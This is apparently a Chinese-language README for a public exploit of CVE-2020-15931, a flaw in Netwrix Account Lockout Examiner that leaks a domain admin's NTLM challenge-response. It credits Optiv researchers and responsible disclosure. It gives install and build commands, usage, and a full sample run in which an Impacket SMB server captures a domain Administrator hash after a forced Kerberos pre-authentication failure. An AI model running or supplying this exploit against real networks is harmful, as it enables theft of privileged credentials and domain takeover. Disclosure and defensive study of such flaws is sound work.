5.1 版本之前的 Netwrix Account Lockout Examiner (ALE) 允许未认证的远程攻击者触发连接到攻击者控制的系统,并捕获拥有域管理员权限的账户的 NTLMv1/v2 挑战-响应。该域管理员账户已按照安装要求在产品中配置。攻击者可以通过在域控制器上生成单个 Kerberos 预认证失败事件(事件 ID 4771)来利用此漏洞。
关于该漏洞的更多详情,请参见以下博客

该漏洞由 Optiv 安全顾问 Robert Surace (@robsauce) 和 Daniel Min (@bigb0ss) 在进行安全评估时在实际环境中发现。在识别出 CVE-2020-15931 后,Optiv 立即联系 Netwrix 并负责任地披露了该漏洞。
漏洞利用脚本采用 golang 开发。安装以下依赖:
go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config
同时需要使用来自 Impacket 的 smbserver.py。
pip install impacket
最后,下载漏洞利用脚本并编译。
git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go
$ ./cve-2020-15931
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 漏洞利用脚本
必填参数:
-d 域名
-dc 域控制器
-u 有效用户名
可选参数:
-h 打印此帮助菜单
示例:
./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
(注:在撰写本文时,此攻击只能通过基于盲猜的攻击来识别。这是因为很难确定目标组织是否在其网络上使用 Netwrix Account Lockout Examiner 来审计账户认证。)
$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 漏洞利用脚本
[+] DC: 10.10.0.2
[+] Domain: bosslab.com
[+] Username: b0ss1
[+] Password: wrongPass
[+] Event ID 4771 (Kerberos 预认证失败) 已触发!
[+] 如果存在漏洞,你将获得 Netwrix 服务账户的 NTLMv1/2 哈希。
[+] SMB 服务器已启动...
Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []
Netwrix Account Lockout Examiner 5.1
事件 ID 4771
Impacket smbserver.py
Gokrb5 客户端
CVE-2020-15931